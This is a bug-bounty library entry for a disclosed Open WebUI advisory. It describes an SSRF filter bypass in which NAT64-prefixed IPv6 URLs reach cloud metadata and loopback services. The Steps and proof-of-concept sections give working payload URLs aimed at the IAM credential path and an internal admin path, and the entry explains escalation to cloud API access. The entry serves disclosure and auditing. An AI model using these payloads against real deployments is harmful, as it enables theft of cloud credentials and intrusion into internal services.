# Open WebUI: Any authenticated user can reach internal services and cloud metadata via NAT64-encoded URLs

Open WebUI's SSRF filter checked literal IPv6 globality, so authenticated users could wrap internal IPv4 targets in the NAT64 prefix and read internal/metadata responses.

- Payout: Research
- Severity: high
- Program: Open WebUI
- Found by: tonghuaroot
- Disclosed: 2026-08-04
- CVE: CVE-2026-70485
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-8x5v-cpv7-8jjp
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-8x5v-cpv7-8jjp
- Tags: area:cloud domain:cloud domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:python technique:source-review vuln:ssrf

**Target:** URL fetch endpoint (POST /api/v1/retrieval/process/web) with SSRF validation
**Root cause:** validate_url() and the connect-time re-checks used ipaddress.ip_address(ip).is_global on the literal address, which treats the NAT64 well-known prefix 64:ff9b::/96 as global without unwrapping the embedded IPv4 destination.
**Steps:**
1. Authenticate as any verified user on v0.10.2 with NAT64 translation available.
2. Confirm plain internal URLs are blocked: `http://169.254.169.254/latest/meta-data/` -> 400, `http://127.0.0.1/` -> 400, `http://[::ffff:169.254.169.254]/` -> 400.
3. Submit NAT64-wrapped metadata URL to `POST /api/v1/retrieval/process/web`: `http://[64:ff9b::a9fe:a9fe]/latest/meta-data/iam/security-credentials/` -> 200, body returned in `content`.
4. Submit `http://[64:ff9b::7f00:1]/admin/internal-status` -> 200, internal response returned.
5. After fix, both return 400 while `http://[64:ff9b::808:808]/` (8.8.8.8) still returns 200.
**How found:** Reporter noticed the address classification only asked whether the literal IPv6 address is globally routable, and reasoned that transition encodings like the NAT64 well-known prefix are global by design while carrying an arbitrary IPv4 destination; tested plain, IPv4-mapped, and NAT64 forms against the live validation path.
**Exploitation:** Any authenticated user submits a URL whose host is the NAT64 well-known prefix embedding an internal IPv4 (e.g. 169.254.169.254 -> a9fe:a9fe, 127.0.0.1 -> 7f00:1) to the web retrieval endpoint; the server fetches it, the NAT64 gateway translates to the internal IPv4, and the response body is returned to the caller in the `content` field, yielding full-read access to metadata/IAM credentials and internal APIs.
**Escalation:** Reading cloud instance metadata IAM role credentials enables pivoting to cloud API access beyond the web app.
**Insight:** When auditing SSRF allow/deny logic, enumerate every IPv6 transition/embedding form (NAT64 64:ff9b::/96, IPv4-mapped ::ffff:0:0/96, 6to4, Teredo) and check whether the validator unwraps the embedded IPv4 before applying is_global; also verify the same predicate is used at connect-time re-checks, since a single flawed predicate defeats both layers.

## Proof of concept (copied exactly from the original report)

**NAT64-encoded metadata and loopback URLs accepted**

```
http://[64:ff9b::a9fe:a9fe]/latest/meta-data/iam/security-credentials/   -> 200, marker returned
http://[64:ff9b::7f00:1]/admin/internal-status                          -> 200, marker returned
```

**Plain SSRF targets rejected with 400**

```
http://169.254.169.254/latest/meta-data/          -> 400
http://127.0.0.1/                                 -> 400
http://[::ffff:169.254.169.254]/                  -> 400
http://metadata.google.internal/                  -> 400
```

